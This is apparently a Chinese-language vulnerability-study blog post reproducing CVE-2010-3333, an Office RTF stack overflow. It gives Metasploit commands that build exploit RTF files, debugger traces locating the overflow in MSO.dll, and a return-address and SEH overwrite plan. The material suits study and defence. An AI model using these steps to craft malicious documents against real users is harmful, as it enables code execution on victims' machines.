CVE-2010-3333复现与分析

这个漏洞还是《漏洞战争》中的例子,学东西还是要脚踏实地,一步一步学习。
而且要每天给自己定个目标,尽自己最大的努力去完成,不要拖拉。
我发现自己有拖延症,要努力地去改掉这个坏习惯了。
废话不多说,尽自己最大努力,将《漏洞战争》中的漏洞都亲手调一遍,我相信可以学到很多东西。

0x00 漏洞描述

  Microsoft Office是微软发布的非常流行的办公软件套件CVE-2010-3333(微软编号:MS10-087)是MicrosoftOffice XP SP3Office 2003 SP3Office 2007 SP2Office 2010,MacOffice 2004Office 2008,MacOffice 2011和Mac的Open XML文件格式转换器中的栈溢出漏洞。主要是在处理RTF中的“pFragments”属性时存在栈溢出,导致攻击者可以借助特制的RTF数据执行任意代码,因此该漏洞又名“RTF栈缓冲区溢出漏洞”

0x10 分析环境

使用的环境 备注
操作系统 Windows XP
Windows 7
版本号:Windows XP Professional SP3 简体中文版
版本号:Windows 7 Enterprise SP0 x86 简体中文版
虚拟机 VMWare Workstations 版本号:15.5.1
调试器 吾爱OllyDbg
WinDbg
Immunity Debugger
版本号:2016版
版本号:v6.12(x86)
版本号:v1.85
反汇编器 IDA Pro 版本号:7.0
漏洞软件 Microsoft Office Word 版本号1:Microsoft Office Professional 2003 SP3(11.8169.8172)
版本号2:Microsoft Office Professional 2007 SP0(12.0.4518.1014)

0x20 漏洞复现

这里用msf来生成用于漏洞利用的exploit样本文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
1、Microsoft Office 2003 SP3 English on Windows XP SP3 English
msf > search cve-2010-3333
msf > use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set target 2
target => 2
msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set FILENAME CVE-2010-3333(target2,calc).rtf
FILENAME => CVE-2010-3333(target2,calc).rtf
msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set payload windows/exec
payload => windows/exec
msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set CMD calc.exe
CMD => calc.exe
msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > exploit
[*] Creating 'CVE-2010-3333(target2,calc).rtf' file ...
[+] CVE-2010-3333(target2,calc).rtf stored at /root/.msf4/local/CVE-2010-3333(target2,calc).rtf

2、Microsoft Office 2007 SP0 English on Windows 7 SP0 English
msf > search cve-2010-3333
msf > use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set target 5
target => 2
msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set FILENAME CVE-2010-3333(target5,calc).rtf
FILENAME => CVE-2010-3333(target5,calc).rtf
msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set payload windows/exec
payload => windows/exec
msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set CMD calc.exe
CMD => calc.exe
msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > exploit
[*] Creating 'CVE-2010-3333(target5,calc).rtf' file ...
[+] CVE-2010-3333(target5,calc).rtf stored at /root/.msf4/local/CVE-2010-3333(target5,calc).rtf

3、PoC(Crash)
msf > search cve-2010-3333
msf > use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set FILENAME CVE-2010-3333(target6,Crash).rtf
FILENAME => CVE-2010-3333(target6,Crash).rtf
msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set target 6
target => 6
msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > exploit
[*] Creating 'CVE-2010-3333(target6,Crash).rtf' file ...
[+] CVE-2010-3333(target6,Crash).rtf stored at /root/.msf4/local/CVE-2010-3333(target6,Crash).rtf

0x30 漏洞原理分析

0x31 RTF文件格式

1、RTF简介

  RTF(Rich Text Format)是Microsoft公司为进行文本图像信息格式的交换而指定的一种文件格式,它适用与不同的设备操作环境操作系统。大多数文字处理软件都可以读写某些版本的RTF

2、RTF的组成

2.1、RTF的基本元素

  标准RTF文件只能包含7位ASCII字符,但可以通过转义序列超出ASCII范围的字符进行编码。由控制字(Control Word)、控制符(Control Symbol)和群组(Group)组成。由于RTF由7位ASCII字符组成,所以可以在大多数基于PC的操作系统之间轻松传输。与大多数明文文件不同,RTF文件不必包含任何回车/换行符(CRLFs),RTF解析软件应忽略CRLF,除非他们可以用作控制字分隔符。当CRLF出现在主要组边界时,RTF文件更具可读性

1、控制字(Control Word)
  控制字是RTF用来标记打印控制符管理文档信息的一种特殊格式的命令,RTF用它作为正文格式控制代码,每个控制字均以一个反斜杠\开头,并且控制字区分大小写ASCII字母序列由ASCII字母字符(a~z和A~Z)组成,控制字(也称为关键字)最初应该不包含任何大写字母,但是近年来,大写字母出现在一些较新的的控制字中,控制字的名称不能超过32个字母,而分隔符标志着控制字名称的结束。其格式为“\ASCII字母序列<分隔符>”

<分隔符>可以使以下之一:

  • 一个空格。这仅用于分隔控制字,在后续处理中将被忽略。
  • 一个数字或者ASCII减号(-),表示数字参数与控制字关联。随后的数字序列由ASCII数字(通常是以反斜杠开头的另一个控制字)以外的任何字符分隔。参数可以是正数或负数。该数字的值范围名义上为–32768至32767,即带符号的16位整数。少数控制字的取值范围是-2,147,483,648到2,147,483,647,即32位带符号整数。这些控制字包括\binN,\revdttmN,\rsidN相关的控制字以及一些图片属性,例如\bliptagN。这里N代表数字参数。 RTF解析器必须允许最多10位数字,并可选地在前面加上减号。如果定界符是空格,则将其丢弃,也就是说,它不会包含在后续处理中。
  • 除字母或数字外的任何字符。在这种情况下,分隔符终止控制字,而不是控制字的一部分。例如反斜杠“\”,表示后面跟着新的控制字或控制符。

  如果用单个空格分隔控制字,则该空格不会出现在文档中(将被忽略)。单个空格分隔符后面的任何字符,包括任何后续空格,将在文档中显示为文本空格。因此,应仅在必要时使用空格。建议避免使用空格作为分隔RTF语法的一种方法,以使其更易于阅读。您可以使用段落标记(CR,LF或CRLF)来分隔行,而无需更改含义,但包含\binN目的地除外。

  在此文档中,采用数字参数N控制字是用N来写的,如\binN所示,除非控制字显式值出现。唯一的例外是\b(粗体切换)之类的“切换”控制字,它只有两种状态。当此类控制字没有参数或具有非零参数时,控制字将打开属性。当此类控制字的参数为0时,控制字将关闭该属性。例如,\b打开粗体,\b0关闭粗体。在这些切换控制字的定义中,控制字名称后跟一个星号“*”

2、单位(Units)
  参数N通常指定尺寸。 RTF中用于尺寸的单位可以是点(pts)half ptstwipsDevice-independent字单位,EMU像素(pixels),具体取决于控制字。这些单位汇总在下表中:

Units Conversions
Points(pts) 72/inch
Half points 144/inch
Twips 1440/inch, 20/pt
Device-independent 294912/inch, 4096/pt
EMUs 914400/inch, 36000/mm, 12700/pt, 635/twip
Pixels typically 96/inch

  EMU(英制单位)用于某些图形参数尺寸(请参见\shp),像素(Pixels)用于某些位图图元文件(metafile)尺寸。EMU的精确度为英寸(inch)毫米(mm)点(pts)twips。 RTF中最常用的单位twips

3、控制符(Control Symbol)
  控制符反斜杠和一个非字母字符组成。例如,\〜(反斜杠波浪线)表示一个不间断的空格。控制符没有分隔符,即控制符后面的空格被视为文本,而不是分隔符

4、组(Group)
  一个组可以由包含在大括号({})内的文本控制字控制符组成。左括号({)表示组的开始,右括号(})表示组的结束。每个组指定受组影响的文本以及该文本的不同属性。RTF文件还可以包括字体样式屏幕颜色图片脚注注释页眉页脚摘要信息书签,以及文档、区段、段落和字符格式属性数学运算图像对象的组。如果文件中包含字体文件样式颜色修订标记摘要信息组以及文档格式属性,则它们必须出现在RTF正文之前的RTF头中。如果未使用任何组的内容,则可以省略该组。以下各节讨论了这些组。使用另一个组中定义的属性的任何组都必须出现在定义这些属性的组之后。例如,颜色和字体属性必须在样式组之前。

5、目的地(Destinations)
  某些控制字(称为目的地)标记了相关文本集合的开始,这些文本可能出现在文档中的另一个位置目的地目的地位置也可能包含已使用但根本没有出现在文档中的文本。目的地的示例\footnote组,其中脚注文本控制字之后。分页符不能出现在目的地文本中。目的地控制字及其相关文本必须用大括号({})括起来。

  在1987 RTF规范之后添加的目的地,可以带有控制符\*(反斜杠星号)。如果RTF阅读器无法识别目的地控制字,则此控制符标识的目的地相关文本应被忽略。添加新的目的地时,RTF编写者应遵循使用此控制符的约定。即使RTF阅读器无法识别目的地,其相关文本也应插入文档中,而目的地不应使用\*

  中指定的大多数格式仅影响该组中的文本(包括该组中的嵌套组)。通常,组中的文本会继承外部组中的文本的格式。但是,RTF的Microsoft实现假定脚注注释页眉页脚组(在本规范的后面部分介绍)不继承外部组的格式。因此,为确保正确格式化这些组,应使用\sectd\pard\plain控制字将这些组内的格式设置为适当的默认值,然后添加所需的格式

  控制字控制符花括号构成控制信息。文件中的所有其他字符均为纯文本数据。这是一个示例,其中包含内部组中不存在的纯文本

{\rtf1\ansi\deff0
{\fonttbl{\f0\froman Tms Rmn;}{\f1\fdecor Symbol;}{\f2\fswiss Helv;}}
{\colortbl;\red0\green0\blue0;\red0\green0\blue255;\red0\green255\blue255;\red0\green255\blue0;\red255\green0\blue255;\red255\green0\blue0;\red255\green255\blue0;\red255\green255\blue255;}
{\stylesheet{\fs20 \snext0 Normal;}}
{\info{\author John Doe}{\creatim\yr1990\mo7\dy30\hr10\min48}{\version1}{\edmins0}{\nofpages1}{\nofwords0}{\nofchars0}{\vern8351}}
\widoctrl\ftnbj \sectd\linex0\endnhere \pard\plain \fs20 This is plain text.\par}

  即使“This is plain text.”不是内部组的一部分,它包含在{\rtf1 ...}组中,因此是RTF文件主体的一部分。它受\pard命令指定的格式的约束。具体来说,\pard重置任何先前的段落格式\plain重置任何先前的字符格式,并且\fs20字体大小设置为20 half points,即10points

  如前所述,反斜杠(\)花括号({})在RTF中具有特殊含义。要将这些字符用作文本,请在其前面加上反斜杠,例如控制符“\\”“\{”“\}”

2.2、RTF文件的内容

  一个完整的RTF文件包括文件头<header>和文档区<document>两大部分,可以用下列语法表示。

1
<File> '{' <header> <document> '}'

  通过RTF的文档目录,我们可以了解到文件头文档区各自所包含的数据,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
Contents of an RTF file
Header(头)
RTF Version(RTF版本:\rtfN,N为RTF文档规范版本的主要版本)
Character Set(字符集:\ansi)
Unicode RTF(Unicode支持)
Default Fonts and Languages(默认字体和语言)
Theme Data(主题数据:\themedata)
Color Scheme Mapping(配色方案映射:\colorschememapping)
Font Table(字体表:\fonttbl)
File Table(文件表:\filetbl,当前文档含子文档时,会有这个表)
Color Table(颜色表:\colortbl,屏幕颜色、字符颜色和其他颜色信息)
Default Properties(默认属性:\*\defchp,\*\defpap)
Style Sheet(样式表:\stylesheet)
List Tables
Paragraph Group Properties(段落组属性:\pgptbl)
Revision Marks(修订标记:\*\revtbl)
User Protection Information(用户保护信息:\protusertbl)
Document Area(文档区域)
Information Group(信息组:\info,可以包括标题、作者、关键词、注释和其他特定于该文件的信息。)
Read-Only Password Protection(只读密码保护:\passwordhash,表示编辑给定RTF文档所需的密码。)
XML Namespace Table(XML命名空间表:\xmlnstbl)
Document Formatting Properties(文档格式属性:这些属性必须在文档中的第一个纯文本字符之前。)
Mail Merge(邮件合并指的是一种操作,通过这种操作,RTF文档与来自外部数据源的数据一起工作。)
Section Text(节文本)
Paragraph Text(段落文本)
Mathematics(数学运算)
Character Text(字符文本:包括字体格式属性,字符边界和阴影,字符修改标记属性,高亮显示,特殊字符)
Document Variables(文档变量:\docvar)
Bookmarks(书签:\*\bkmkstart,\*\bkmkend)
Protection Exceptions(\*\protstart,\*\protend)
Pictures(图片:\pict,RTF文件可以包含用其他应用程序创建的图片。)
Custom XML Tags()
Objects(对象:\object,对象是包含数据和结果的目的地。数据通常对生成文档的应用程序隐藏。)
Drawing Objects(绘图对象:绘图对象的主体被定义为一系列属性。控制字{\shp…后面跟着{\*\shpinst,然后是一个形状的所有属性列表。)
Footnotes(脚注:\footnote)
Comments (Annotations)(注释:RTF注释有两部分,作者ID(由控制字\atnid引入)和注释文本(由控制字\annotation引入);)
Fields(域:\field)
Index Entries(索引项:\xe控制字引入一个索引项。RTF中的索引项是目的地。)
Table of Contents Entries(目录条目:\tc,\tcn)
Bidirectional Language Support(双向语言支持:)

0x32 定位漏洞点

1、XP & Office2003

  首先打开WINWORD.exe,然后打开WinDbg,Attach上WINWORD.exe的进程,程序会自动中断在ntdll!DbgBreakPoint处,g运行程序,然后打开CVE-2010-3333(target6,Crash).rtf文件,程序会中断在MSO.dll0x30ed442c处,此处就是触发异常的指令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
0:011> g
ModLoad: 05450000 055f1000 C:\Program Files\Microsoft Office\OFFICE11\GdiPlus.DLL
ModLoad: 76f20000 76f28000 C:\WINDOWS\system32\WTSAPI32.DLL
ModLoad: 762d0000 762e0000 C:\WINDOWS\system32\WINSTA.dll
(a44.628): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000c8ac ebx=05000000 ecx=00000022 edx=00000000 esi=1104c830 edi=00130000 <---
eip=30ed442c esp=001237b4 ebp=001237ec iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll -
mso!Ordinal1246+0x16b0:
30ed442c f3a5 rep movs dword ptr es:[edi],dword ptr [esi]

0:000> !address edi
Usage: MemoryMappedFile
Allocation Base: 00130000
Base Address: 00130000
End Address: 00133000
Region Size: 00003000
Type: 00040000 MEM_MAPPED
State: 00001000 MEM_COMMIT
Protect: 00000002 PAGE_READONLY <---
Mapped file name: PageFile

0:000> lm v m mso
start end module name
30c90000 3184c000 mso (export symbols) C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll
Loaded symbol image file: C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll
Image path: C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll
Image name: mso.dll
Timestamp: Tue Jun 19 07:53:36 2007 (46771B00)
CheckSum: 00BB6E3C
ImageSize: 00BBC000
File version: 11.0.8172.0
Product version: 11.0.8172.0
File flags: 0 (Mask 3F)
File OS: 40004 NT Win32
File type: 2.0 Dll
File date: 00000000.00000000
Translations: 0000.04e4
CompanyName: Microsoft Corporation
ProductName: Microsoft Office 2003
InternalName: MSO
OriginalFilename: MSO.DLL
ProductVersion: 11.0.8172
FileVersion: 11.0.8172
FileDescription: Microsoft Office 2003 component
LegalCopyright: Copyright © 1983-2003 Microsoft Corporation. All rights reserved.

  根据调试器输出的信息,可以知道,这是一个异常在异常处理之前第一次发送给调试器,说明发生了一个异常。0x30ed442c处的指令可以看作是rep movsd,这条指令的作用是从源地址(esi)循环复制数据到目的地址(edi),每次复制一个dword。我们可以看到此时的目的地址(edi)0x00130000,在32位Windows中,此地址应该是栈底,栈底之后的内存应该是不具有写权限的,所以这里发生了非法内存访问。通过“!address edi”命令,我们可以知道0x00130000地址处的内存只具有读权限。通过“lm v m mso”命令,我们可以得到MSO.dll模块相关信息,如加载基址。如果开启了ASLR,其加载基址每次都会不同,当然在Windows XP中是不会变的,Windows XP只支持PEB、TEB的ASLR,不支持映像的ASLR

  经过这简单的分析,可以知道这个漏洞是MSO.dll中的一处栈溢出漏洞,由于未检测复制数据的长度,通过rep movsd指令循环复制内存数据到上,导致对0x00130000这个只读内存地址进行写数据,造成非法访问内存异常

  我们对触发异常的指令的地址0x30ed442c下断点,其位于sub_30ED4406函数中,我们称其为CrashFun,通过栈回溯查看是哪个函数调用了sub_30ED4406函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
0:010> bp 30ed442c
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll -
0:010> g
ModLoad: 06740000 068e1000 C:\Program Files\Microsoft Office\OFFICE11\GdiPlus.DLL
ModLoad: 76f20000 76f28000 C:\WINDOWS\system32\WTSAPI32.DLL
ModLoad: 762d0000 762e0000 C:\WINDOWS\system32\WINSTA.dll
ModLoad: 5fdd0000 5fe25000 C:\WINDOWS\system32\NETAPI32.dll
Breakpoint 0 hit
eax=0000c8ac ebx=05000000 ecx=0000322b edx=00000000 esi=1104000c edi=001237dc
eip=30ed442c esp=001237b4 ebp=001237ec iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mso!Ordinal1246+0x16b0:
30ed442c f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
001237ec 30f0b56b 00123958 00000000 ffffffff mso!Ordinal1246+0x16b0
0012381c 30f0b4f9 001239a4 00123958 00000000 mso!Ordinal1273+0x2581 <----
00123a68 30d4d795 00000000 00123aa8 00000000 mso!Ordinal1273+0x250f
00123a90 30d4d70d 30d4d5a8 01c40b88 01c40bc0 mso!Ordinal5575+0xf9
00123a94 30d4d5a8 01c40b88 01c40bc0 01c40a70 mso!Ordinal5575+0x71
00123a98 01c40b88 01c40bc0 01c40a70 30dce40c mso!Ordinal4099+0xf5
00123a9c 01c40bc0 01c40a70 30dce40c 00000000 0x1c40b88
00123aa0 01c40a70 30dce40c 00000000 01c4084c 0x1c40bc0
00123aa4 30dce40c 00000000 01c4084c 00124854 0x1c40a70
00123aa8 00000000 01c4084c 00124854 00000000 mso!Ordinal2940+0x1588c
0:000> ub mso!Ordinal1273+0x2581
mso!Ordinal1273+0x256d:
30f0b557 23c1 and eax,ecx
30f0b559 50 push eax
30f0b55a 8d47ff lea eax,[edi-1]
30f0b55d 50 push eax
30f0b55e 8b4508 mov eax,dword ptr [ebp+8]
30f0b561 6a00 push 0
30f0b563 ff750c push dword ptr [ebp+0Ch]
30f0b566 e857000000 call mso!Ordinal1273+0x25d8 (30f0b5c2)

  通过栈回溯,我们可以知道CrashFun(sub_30ED4406)是在函数sub_30F0B5C2中调用的。重新调试,对sub_30F0B5C2函数下断点,从函数sub_30F0B5C2到溢出地址0x30ed442c开始单步调试(F10:步过,F8:步进),经过处理后的结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
.text:30F0B544           loc_30F0B544                         ; CODE XREF: sub_30F0B506+2B↑j
.text:30F0B544 ; sub_30F0B506+37↑j
.text:30F0B544 8B 75 10 mov esi, [ebp+arg_8]
.text:30F0B547 83 65 FC 00 and [ebp+var_4], 0
.text:30F0B54B FF 75 14 push [ebp+arg_C]
.text:30F0B54E 8B C6 mov eax, esi
.text:30F0B550 F7 D8 neg eax
.text:30F0B552 1B C0 sbb eax, eax
.text:30F0B554 8D 4D FC lea ecx, [ebp+var_4]
.text:30F0B557 23 C1 and eax, ecx
.text:30F0B559 50 push eax
.text:30F0B55A 8D 47 FF lea eax, [edi-1]
.text:30F0B55D 50 push eax
.text:30F0B55E 8B 45 08 mov eax, [ebp+arg_0]
.text:30F0B561 6A 00 push 0
.text:30F0B563 FF 75 0C push [ebp+arg_4]
.text:30F0B566 E8 57 00 00 00 call sub_30F0B5C2 <-----
.text:30F0B56B 84 C0 test al, al
| |
↓ ↓
*************************************************************************************************

char __userpurge sub_30F0B5C2@<al>(int a1@<eax>, int a2, int a3, int a4, int *a5, int a6)

*************************************************************************************************
.text:30F0B5C2 55 push ebp ; ebp = 0x0012381c
.text:30F0B5C3 8B EC mov ebp, esp ; ebp = esp = 0x001237ec
.text:30F0B5C5 83 EC 14 sub esp, 14h ; 分配0x14字节栈空间: esp = esp-0x14 = 0x001237ec-0x14 = 0x001237d8
.text:30F0B5C8 83 7D 18 00 cmp [ebp+arg_10], 0 ; [ebp+0x18] = [0x00123804]=0x01c40ba0
.text:30F0B5CC 57 push edi ; edi = 0x00000000
.text:30F0B5CD 8B F8 mov edi, eax ; edi = eax = 0x001239a4(像是对象首地址)
.text:30F0B5CF 0F 84 1D 4C 18 00 jz loc_310901F2 ; 不跳转
.text:30F0B5D5 8B 4F 08 mov ecx, [edi+8] ; ecx = [edi+8] = [0x001239a4+0x8] = [0x001239ac] = 0x00123aa8(像是对象首地址)
.text:30F0B5D8 53 push ebx ; ebx = 0x00000000
.text:30F0B5D9 56 push esi ; esi = 0x00000000
.text:30F0B5DA E8 C4 E8 E1 FF call sub_30D29EA3 ; thiscall
| |
↓ ↓
***********************************************************************

int __thiscall sub_30D29EA3(_BYTE *this)

***********************************************************************
.text:30D29EA3 sub_30D29EA3 proc near
.text:30D29EA3
.text:30D29EA3 56 push esi ; esi = 0x00000000
.text:30D29EA4 8B F1 mov esi, ecx ; esi = ecx = 0x00123aa8(像是对象首地址)
.text:30D29EA6 57 push edi ; edi = 0x001239a4(像是对象首地址)
.text:30D29EA7 8D BE C0 00 00 00 lea edi, [esi+0C0h] ; edi = esi+0xc0 = 0x00123aa8+0xc0 = 0x00123B68
.text:30D29EAD F6 07 01 test byte ptr [edi], 1 ; [edi] = [0x00123B68] = 0x73('s')
.text:30D29EB0 74 09 jz short loc_30D29EBB ; 等于0跳转,这里不跳转
.text:30D29EB2 loc_30D29EB2:
.text:30D29EB2 5F pop edi ; edi = 0x001239a4(像是对象首地址)
.text:30D29EB3 8D 86 C4 00 00 00 lea eax, [esi+0C4h] ; eax = esi+0xc4 = 0x00123aa8+0xc4 = 0x00123b6c
.text:30D29EB9 5E pop esi ; esi = 0x00000000
.text:30D29EBA C3 retn ;
| |
↓ ↓
.text:30F0B5DF FF 75 0C push [ebp+arg_4] ; arg3: [ebp+0xC] = [0x001237ec+0xC] = [0x001237f8] = 0x00000000
.text:30F0B5E2 8B 70 64 mov esi, [eax+64h] ; esi = [0x00123b6c+0x64] = [0x00123bd0] = 0x01c40824(对象首地址)
.text:30F0B5E5 83 65 F8 00 and [ebp+var_8], 0 ; [ebp-0x8] = [0x001237ec-0x8] = [0x001237e4]=0x00000000
.text:30F0B5E9 8B 06 mov eax, [esi] ; eax = [esi] = [0x01c40824] = 0x30da33d8(虚表指针)
.text:30F0B5EB 8D 4D F0 lea ecx, [ebp+var_10] ; ecx = ebp-0x10 = 0x001237ec-0x10 = 0x001237dc
.text:30F0B5EE 51 push ecx ; arg2: ecx = 0x001237dc <----目的地址
.text:30F0B5EF BB 00 00 00 05 mov ebx, 5000000h ; ebx = 0x05000000
.text:30F0B5F4 56 push esi ; arg1: esi = 0x01c40824 <----对象首地址
.text:30F0B5F5 89 5D F4 mov [ebp+var_C], ebx ; [ebp-0xc] = [0x001237ec-0xc] = [0x001237e0] = 0x05000000
.text:30F0B5F8 FF 50 1C call dword ptr [eax+1Ch] <----- [eax+1Ch] = [0x30da33d8+0x1c] = [0x30da33f4] = 0x30ED4406(虚函数地址)
.text:30F0B5FB 8B 45 14 mov eax, [ebp+arg_C]
| |
↓ ↓
*************************************************************

void __stdcall sub_30ED4406(int a1, void *a2, int a3)

*************************************************************
.text:30ED4406 57 push edi ; edi = 0x001239a4(像是对象首地址)
.text:30ED4407 8B 7C 24 0C mov edi, [esp+4+arg_4] ; 目的地址: edi = [esp+4+8] = [0x001237b8+0xc] = [0x001237c4] = 0x001237dc(a2)
.text:30ED440B 85 FF test edi, edi ; edi & edi
.text:30ED440D 74 27 jz short loc_30ED4436 ; edi为0,则跳转,这里不跳转
.text:30ED440F 8B 44 24 08 mov eax, [esp+4+arg_0] ; eax = [esp+4+4] = [0x001237b8+0x8]= [0x001237c0] = 0x01c40824(a1) <----对象首地址
.text:30ED4413 8B 48 08 mov ecx, [eax+8] ; ecx = [eax+0x8] = [0x01c40824+0x8] = [0x01c4082c] = 0x0004c8ac
.text:30ED4416 81 E1 FF FF 00 00 and ecx, 0FFFFh ; ecx = ecx & 0xFFFF = 0xc8ac
.text:30ED441C 56 push esi ; esi = 0x01c40824(对象首地址)
.text:30ED441D 8B F1 mov esi, ecx ; esi = ecx = 0xc8ac
.text:30ED441F 0F AF 74 24 14 imul esi, [esp+8+arg_8] ; esi = esi*[esp+8+0xc] = 0xc8ac*[0x001237b4+0x14] = 0xc8ac*[0x001237c8] = 0xc8ac*0x00000000 = 0x0(a3)
.text:30ED4424 03 70 10 add esi, [eax+10h] ; 源地址: esi = esi + [0x01c40824+0x10] = 0 + [0x01c40834] = 0x1104000c
.text:30ED4427 8B C1 mov eax, ecx ; 返回复制数据长度(字节): eax = ecx = 0xc8ac
.text:30ED4429 C1 E9 02 shr ecx, 2 ; 复制数据dword数: ecx = ecx >> 2 = 0xc8ac/4 = 0x0000322b
.text:30ED442C F3 A5 rep movsd ; rep movs dword ptr es:[edi],dword ptr [esi]
栈数据:
001237B4 01C40824 <-esp
001237B8 001239A4
001237BC 30F0B5FB 返回到 mso.30F0B5FB
001237C0 01C40824
001237C4 001237DC
001237C8 00000000
001237CC 00000000
001237D0 00000000
001237D4 00000000
001237D8 0000FF35
001237DC FFFF0000 <-pFragments缓冲区起始地址
001237E0 05000000
001237E4 00000000
001237E8 0000FFFF
001237EC 0012381C <-ebp
001237F0 30F0B56B 返回到 mso.30F0B56B 来自 mso.30F0B5C2

  根据调试的结果,我们可以知道,CrashFun(sub_30ED4406)是在函数sub_30F0B5C2中地址0x30F0B5F8处的指令调用的。最后一条指令是rep movsd,其从源地址(esi=0x1104000c)循环复制数据到目的地址(edi=0x001237dc),每次复制一个dword,复制数据的dword个数ecx(0x322b)中,也就是0xc8ac字节。其实这个长度是源于样本数据的,它位于pFragements属性值的第3个字段偏移8个字符后的4个字符即为复制数据的大小,如图:
样本中代表复制内存大小的数据

  pFragements数据在上的缓冲区的起始地址0x001237DC,而ebp0x001237EC,其后就是函数sub_30ED4406返回地址。由于PoC中的pFragements属性值的数据量过大,覆盖到不可写的内存地址导致异常,所以并没有去执行覆盖后的返回地址以及SEH异常处理函数(SEH链被破坏了)。根据MSO.dll模块函数的反汇编特征,可以看出,MSO.dll模块并没有开启GS。通过查看MSO.dllIMAGE_OPTIONAL_HEADER中的DllCharacteristics字段,其并没有设置IMAGE_DLLCHARACTERISTICS_NX_COMPAT标志,可以知道MSO.dll并没有开启DEP,即使开启了DEP,在Windows XP SP3上也是没有效果的。

  所以我们可以将Shellcode直接布置在上,首先需要填充pFragments缓冲区起始地址保存返回地址的栈地址之前的栈内存,是0x14字节,然后用jmp esp指令的地址覆盖返回地址,将Shellcode放置在返回地址的后面,就可以劫持程序执行流,执行任意代码。也可以通过覆盖返回地址之后的SEH异常处理函数的地址,劫持异常处理,获得程序的执行流。这些到后面漏洞利用章节再细细展开。

2、Win7&Office2007

  首先打开WINWORD.exe,然后打开WinDbg,Attach上WINWORD.exe的进程,程序会自动中断在ntdll!DbgBreakPoint处,g运行程序,然后打开CVE-2010-3333(target6,Crash).rtf文件,程序会中断在MSO.dll0x32cf3814处,此处就是触发异常的指令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
0:010> g
ModLoad: 3bd10000 3bea5000 C:\Program Files\Common Files\Microsoft Shared\OFFICE12\OGL.DLL
ModLoad: 3fd00000 3fd0d000 C:\Windows\system32\WTSAPI32.DLL
(d9c.4a8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=3c524228 ebx=00000000 ecx=0011fdfc edx=00000000 esi=066a55e0 edi=0011ffb8
eip=32cf3814 esp=0011fdb0 ebp=0011fdb0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\office12\mso.dll -
mso!Ordinal7356+0x1315:
32cf3814 8b4804 mov ecx,dword ptr [eax+4] ds:0023:3c52422c=????????
0:000> !address 3c52422c
Failed to map Heaps (error 80004005)
Usage: Free
Base Address: 3c413000
End Address: 3fd00000
Region Size: 038ed000
Type: 00000000
State: 00010000 MEM_FREE
Protect: 00000001 PAGE_NOACCESS

  我们通过!address命令查看触发异常的指令mov ecx,dword ptr [eax+4]所访问的内存地址0x3c52422c的相关信息,可以发现此地址是不具有访问权限的(PAGE_NOACCESS)。然后,我们需要追踪数据流。首先查看栈回溯:

1
2
3
4
5
6
7
8
9
10
11
12
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0011fdb0 32e5944d 0011fdc4 41306141 05000000 mso!Ordinal7356+0x1315(32cf3814当前指令地址)
↑------------------------------------------↓
0011fdcc 32e595bf 41306141 41386141 0011fdfc mso!Ordinal2605+0x326e(32e5944d)[mso!Ordinal7356+0x1308 (32cf3807)的返回地址]
↑------------------------------------------↓
0011fe04 37614136 41386141 62413961 31624130 mso!Ordinal2605+0x33e0(32e595bf)[mso!Ordinal2605+0x323c (32e5941b)的返回地址]
0011fe08 41386141 62413961 31624130 41326241 0x37614136
0011fe0c 62413961 31624130 41326241 62413362 0x41386141
